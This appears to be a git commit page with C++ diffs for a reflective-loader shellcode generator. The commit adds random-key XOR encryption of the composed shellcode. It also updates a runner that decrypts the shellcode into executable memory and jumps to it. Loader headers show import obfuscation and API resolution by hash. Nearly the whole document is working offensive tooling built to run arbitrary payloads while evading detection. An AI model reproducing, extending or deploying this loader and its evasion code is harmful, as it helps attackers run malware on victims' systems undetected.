randomized XOR & organized common headers
This commit is contained in:
parent
b3a4f0f51c
commit
ee6da55d83
@ -1,12 +1,6 @@
|
|||||||
#include <windows.h>
|
|
||||||
#include <getopt.h>
|
|
||||||
#include <iostream>
|
|
||||||
#include <fstream>
|
|
||||||
#include <vector>
|
|
||||||
#include <cstdint>
|
|
||||||
|
|
||||||
#include "generator.hpp"
|
#include "generator.hpp"
|
||||||
#include "../shared/crypto.hpp"
|
#include "../shared/crypto.hpp"
|
||||||
|
#include "../shared/futils.hpp"
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
int main(int argc, char **argv)
|
||||||
{
|
{
|
||||||
@ -68,26 +62,12 @@ int main(int argc, char **argv)
|
|||||||
std::cout << "[+] Payload path: " << payloadPath << std::endl;
|
std::cout << "[+] Payload path: " << payloadPath << std::endl;
|
||||||
std::cout << "[+] Output path: " << outputPath << std::endl;
|
std::cout << "[+] Output path: " << outputPath << std::endl;
|
||||||
|
|
||||||
LPBYTE loaderContents;
|
auto loaderContents = ReadFromFile(loaderPath);
|
||||||
DWORD loaderSize;
|
auto payloadContents = ReadFromFile(payloadPath);
|
||||||
|
|
||||||
if (!GetFileContents(loaderPath, &loaderContents, &loaderSize))
|
|
||||||
{
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
LPBYTE payloadContents;
|
|
||||||
DWORD payloadSize;
|
|
||||||
|
|
||||||
if (!GetFileContents(payloadPath, &payloadContents, &payloadSize))
|
|
||||||
{
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Compose the complete shellcode from loader, payload, and bootstrap
|
// Compose the complete shellcode from loader, payload, and bootstrap
|
||||||
|
|
||||||
std::vector<BYTE> bootstrap;
|
std::vector<BYTE> bootstrap;
|
||||||
DWORD bootstrapSize = BOOTSTRAP_LEN;
|
|
||||||
DWORD funcParameterHash = CalculateHash(funcParameter);
|
DWORD funcParameterHash = CalculateHash(funcParameter);
|
||||||
|
|
||||||
/*
|
/*
|
||||||
@ -173,7 +153,7 @@ int main(int argc, char **argv)
|
|||||||
bootstrap.push_back(0x49);
|
bootstrap.push_back(0x49);
|
||||||
bootstrap.push_back(0x81);
|
bootstrap.push_back(0x81);
|
||||||
bootstrap.push_back(0xc0);
|
bootstrap.push_back(0xc0);
|
||||||
auto funcParameterOffset = (bootstrapSize - 5) + loaderSize + payloadSize;
|
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
|
||||||
|
|
||||||
for (size_t i = 0; i < sizeof(funcParameterOffset); i++)
|
for (size_t i = 0; i < sizeof(funcParameterOffset); i++)
|
||||||
{
|
{
|
||||||
@ -192,7 +172,7 @@ int main(int argc, char **argv)
|
|||||||
bootstrap.push_back(0x48);
|
bootstrap.push_back(0x48);
|
||||||
bootstrap.push_back(0x81);
|
bootstrap.push_back(0x81);
|
||||||
bootstrap.push_back(0xc1);
|
bootstrap.push_back(0xc1);
|
||||||
auto payloadOffset = (bootstrapSize - 5) + loaderSize;
|
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
||||||
|
|
||||||
for (size_t i = 0; i < sizeof(payloadOffset); i++)
|
for (size_t i = 0; i < sizeof(payloadOffset); i++)
|
||||||
{
|
{
|
||||||
@ -205,7 +185,7 @@ int main(int argc, char **argv)
|
|||||||
|
|
||||||
// Call <reflectiveLoaderAddress> -> Call the reflective loader address
|
// Call <reflectiveLoaderAddress> -> Call the reflective loader address
|
||||||
bootstrap.push_back(0xe8);
|
bootstrap.push_back(0xe8);
|
||||||
auto reflectiveLoaderAddress = (bootstrapSize - 5) + loaderSize;
|
auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
|
||||||
|
|
||||||
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++)
|
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++)
|
||||||
{
|
{
|
||||||
@ -235,15 +215,15 @@ int main(int argc, char **argv)
|
|||||||
bootstrap.push_back(0x90);
|
bootstrap.push_back(0x90);
|
||||||
bootstrap.push_back(0x90);
|
bootstrap.push_back(0x90);
|
||||||
|
|
||||||
if (bootstrap.size() != bootstrapSize)
|
if (bootstrap.size() != BOOTSTRAP_LEN)
|
||||||
{
|
{
|
||||||
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << bootstrapSize << std::endl;
|
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
|
std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
|
||||||
std::cout << "[+] Loader size: " << loaderSize << std::endl;
|
std::cout << "[+] Loader size: " << loaderContents.size() << std::endl;
|
||||||
std::cout << "[+] Payload size: " << payloadSize << std::endl;
|
std::cout << "[+] Payload size: " << payloadContents.size() << std::endl;
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Form the complete shellcode with the following structure:
|
Form the complete shellcode with the following structure:
|
||||||
@ -253,67 +233,26 @@ int main(int argc, char **argv)
|
|||||||
- User data
|
- User data
|
||||||
*/
|
*/
|
||||||
|
|
||||||
bootstrap.insert(bootstrap.end(), loaderContents, loaderContents + loaderSize);
|
bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end());
|
||||||
bootstrap.insert(bootstrap.end(), payloadContents, payloadContents + payloadSize);
|
bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end());
|
||||||
|
|
||||||
std::cout << "[+] Total shellcode size: " << bootstrap.size() << std::endl;
|
// XOR with a random content length key
|
||||||
|
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
|
||||||
|
auto key = GenerateKey(bootstrap.size());
|
||||||
|
XorCipher(bootstrap, key);
|
||||||
|
|
||||||
if (!WriteFileContents(outputPath, bootstrap.data(), bootstrap.size()))
|
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
|
||||||
{
|
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
auto srcUuid = GenerateUuid();
|
WriteToFile(outputPath, bootstrap);
|
||||||
std::cout << "[+] AES key derivation UUID: " << srcUuid << std::endl;
|
std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
|
||||||
|
|
||||||
std::cout << "[+] " << std::endl;
|
auto keyPath = outputPath + ".key";
|
||||||
|
WriteToFile(keyPath, key);
|
||||||
|
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize)
|
|
||||||
{
|
|
||||||
std::ifstream infile(filePath, std::ios::binary | std::ios::ate);
|
|
||||||
|
|
||||||
if (!infile)
|
|
||||||
{
|
|
||||||
std::cout << "[!] Failed to open file for reading: " << filePath << std::endl;
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
*fileSize = static_cast<DWORD>(infile.tellg());
|
|
||||||
infile.seekg(0, std::ios::beg);
|
|
||||||
|
|
||||||
*fileContents = new BYTE[*fileSize];
|
|
||||||
infile.read(reinterpret_cast<char *>(*fileContents), *fileSize);
|
|
||||||
infile.close();
|
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize)
|
|
||||||
{
|
|
||||||
std::ofstream outfile(filePath, std::ios::binary);
|
|
||||||
|
|
||||||
if (!outfile)
|
|
||||||
{
|
|
||||||
std::cout << "[!] Failed to open file for writing: " << filePath << std::endl;
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
outfile.write(reinterpret_cast<char *>(fileContents), fileSize);
|
|
||||||
|
|
||||||
if (!outfile.good())
|
|
||||||
{
|
|
||||||
std::cout << "[!] Failed to write the contents: " << filePath << std::endl;
|
|
||||||
return FALSE;
|
|
||||||
}
|
|
||||||
|
|
||||||
outfile.close();
|
|
||||||
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
|
|
||||||
void PrintHelp(char **argv)
|
void PrintHelp(char **argv)
|
||||||
{
|
{
|
||||||
std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
|
std::cout << "Usage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
|
||||||
|
@ -1,12 +1,9 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <string>
|
#include <getopt.h>
|
||||||
|
#include <iostream>
|
||||||
|
|
||||||
#define BOOTSTRAP_LEN 79
|
constexpr auto BOOTSTRAP_LEN = 79;
|
||||||
|
|
||||||
// Utils
|
|
||||||
BOOL GetFileContents(std::string filePath, LPBYTE *fileContents, DWORD *fileSize);
|
|
||||||
BOOL WriteFileContents(std::string filePath, LPBYTE fileContents, DWORD fileSize);
|
|
||||||
|
|
||||||
void PrintHelp(char **argv);
|
void PrintHelp(char **argv);
|
@ -1,14 +1,15 @@
|
|||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <iostream>
|
#include <iostream>
|
||||||
#include <fstream>
|
#include "../shared/futils.hpp"
|
||||||
|
#include "../shared/crypto.hpp"
|
||||||
|
|
||||||
#define VERBOSE 1
|
#define VERBOSE 1
|
||||||
|
|
||||||
int main(int argc, char **argv)
|
int main(int argc, char **argv)
|
||||||
{
|
{
|
||||||
if (argc != 2)
|
if (argc != 3)
|
||||||
{
|
{
|
||||||
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path>" << std::endl;
|
std::cout << "[?] Usage: " << argv[0] << " <shellcode-path> <xor-keyfile-path>" << std::endl;
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -16,41 +17,40 @@ int main(int argc, char **argv)
|
|||||||
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
|
std::cout << "[+] Reading shellcode from " << argv[1] << std::endl;
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
std::ifstream shellcode(argv[1]);
|
auto shellcodeContents = ReadFromFile(argv[1]);
|
||||||
|
|
||||||
if (!shellcode.is_open())
|
#ifdef VERBOSE
|
||||||
{
|
std::cout << "[+] Reading XOR key from " << argv[2] << std::endl;
|
||||||
std::cout << "[!] Failed to open " << argv[1] << std::endl;
|
#endif
|
||||||
return 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
shellcode.seekg(0, std::ios::end);
|
auto key = ReadFromFile(argv[2]);
|
||||||
size_t filesize = shellcode.tellg();
|
|
||||||
shellcode.seekg(0, std::ios::beg);
|
|
||||||
|
|
||||||
auto buffer = new char[filesize];
|
#ifdef VERBOSE
|
||||||
shellcode.read(buffer, filesize);
|
std::cout << "[+] XOR'ing shellcode" << std::endl;
|
||||||
|
#endif
|
||||||
|
|
||||||
auto base = VirtualAlloc(nullptr, filesize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
XorCipher(shellcodeContents, key);
|
||||||
|
|
||||||
if (!base)
|
auto baseAddress = VirtualAlloc(nullptr, shellcodeContents.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
if (!baseAddress)
|
||||||
{
|
{
|
||||||
std::cout << "[!] Failed to allocate memory" << std::endl;
|
std::cout << "[!] Failed to allocate memory" << std::endl;
|
||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifdef VERBOSE
|
#ifdef VERBOSE
|
||||||
std::cout << "[+] Allocated " << filesize << " bytes at " << base << std::endl;
|
std::cout << "[+] Allocated " << shellcodeContents.size() << " bytes at " << baseAddress << std::endl;
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
std::copy(buffer, buffer + filesize, static_cast<char *>(base));
|
std::copy(shellcodeContents.begin(), shellcodeContents.end(), static_cast<char *>(baseAddress));
|
||||||
|
|
||||||
#ifdef VERBOSE
|
#ifdef VERBOSE
|
||||||
std::cout << "[+] Copied shellcode to " << base << std::endl;
|
std::cout << "[+] Copied shellcode to " << baseAddress << std::endl;
|
||||||
std::cout << "[+] Executing 'jmp " << base << "'" << std::endl;
|
std::cout << "[+] Executing 'jmp " << baseAddress << "'" << std::endl;
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
__asm__("jmp *%0" ::"r"(base));
|
__asm__("jmp *%0" ::"r"(baseAddress));
|
||||||
|
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
@ -1,10 +1,3 @@
|
|||||||
#include <windows.h>
|
|
||||||
#include <winternl.h>
|
|
||||||
#include <vector>
|
|
||||||
#include <tuple>
|
|
||||||
#include <algorithm>
|
|
||||||
#include <random>
|
|
||||||
|
|
||||||
#include "loader.hpp"
|
#include "loader.hpp"
|
||||||
#include "../shared/crypto.hpp"
|
#include "../shared/crypto.hpp"
|
||||||
|
|
||||||
|
@ -2,7 +2,7 @@
|
|||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
#include <winternl.h>
|
#include <winternl.h>
|
||||||
#include <random>
|
#include <algorithm>
|
||||||
|
|
||||||
constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000;
|
constexpr auto MAX_IMPORT_DELAY_MS = 6 * 1000;
|
||||||
constexpr auto OBFUSCATE_IMPORTS = 1;
|
constexpr auto OBFUSCATE_IMPORTS = 1;
|
||||||
@ -62,12 +62,10 @@ struct _IMAGE_RELOC
|
|||||||
using IMAGE_RELOC = _IMAGE_RELOC;
|
using IMAGE_RELOC = _IMAGE_RELOC;
|
||||||
using PIMAGE_RELOC = _IMAGE_RELOC *;
|
using PIMAGE_RELOC = _IMAGE_RELOC *;
|
||||||
|
|
||||||
// Utils
|
|
||||||
PBYTE GetModuleAddressFromHash(DWORD dwHash);
|
PBYTE GetModuleAddressFromHash(DWORD dwHash);
|
||||||
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng);
|
HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng);
|
||||||
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
|
PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage);
|
||||||
|
|
||||||
// Loader functions
|
|
||||||
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders);
|
||||||
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta);
|
||||||
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng);
|
BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng);
|
||||||
|
@ -1,41 +1,26 @@
|
|||||||
#include <winternl.h>
|
|
||||||
#include <random>
|
|
||||||
#include <sstream>
|
|
||||||
|
|
||||||
#include "crypto.hpp"
|
#include "crypto.hpp"
|
||||||
|
|
||||||
std::string GenerateUuid()
|
std::vector<BYTE> GenerateKey(size_t keysize)
|
||||||
{
|
{
|
||||||
// Source: https://stackoverflow.com/a/60198074/15310712
|
std::vector<BYTE> key(keysize, 0);
|
||||||
|
|
||||||
std::stringstream ss;
|
|
||||||
std::random_device rd;
|
std::random_device rd;
|
||||||
std::mt19937 gen(rd());
|
std::mt19937 gen(rd());
|
||||||
std::uniform_int_distribution<> dis(0, 15);
|
std::uniform_int_distribution<> dis(0, 255);
|
||||||
std::uniform_int_distribution<> dis2(8, 11);
|
|
||||||
|
|
||||||
ss << std::hex;
|
for (size_t i = 0; i < key.size(); ++i)
|
||||||
|
|
||||||
auto generateHex = [&](int count)
|
|
||||||
{
|
{
|
||||||
for (int i = 0; i < count; ++i)
|
key[i] = static_cast<BYTE>(dis(gen));
|
||||||
{
|
|
||||||
ss << dis(gen);
|
|
||||||
}
|
}
|
||||||
};
|
|
||||||
|
|
||||||
generateHex(8);
|
return key;
|
||||||
ss << "-";
|
}
|
||||||
generateHex(4);
|
|
||||||
ss << "-4";
|
|
||||||
generateHex(3);
|
|
||||||
ss << "-";
|
|
||||||
ss << dis2(gen);
|
|
||||||
generateHex(3);
|
|
||||||
ss << "-";
|
|
||||||
generateHex(12);
|
|
||||||
|
|
||||||
return ss.str();
|
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key)
|
||||||
|
{
|
||||||
|
for (auto i = 0; i < data.size(); i++)
|
||||||
|
{
|
||||||
|
data[i] = data[i] ^ key[i % key.size()];
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD CalculateHash(const std::string &source)
|
DWORD CalculateHash(const std::string &source)
|
||||||
|
@ -1,10 +1,13 @@
|
|||||||
#pragma once
|
#pragma once
|
||||||
|
|
||||||
#include <windows.h>
|
#include <windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
#include <string>
|
#include <string>
|
||||||
|
#include <random>
|
||||||
|
|
||||||
constexpr auto HASH_KEY = 5381;
|
constexpr auto HASH_KEY = 5381;
|
||||||
|
|
||||||
std::string GenerateUuid();
|
std::vector<BYTE> GenerateKey(size_t keysize);
|
||||||
|
void XorCipher(std::vector<BYTE> &data, const std::vector<BYTE> &key);
|
||||||
DWORD CalculateHash(const std::string &source);
|
DWORD CalculateHash(const std::string &source);
|
||||||
DWORD CalculateHash(const UNICODE_STRING &baseDllName);
|
DWORD CalculateHash(const UNICODE_STRING &baseDllName);
|
||||||
|
Loading…
Reference in New Issue
Block a user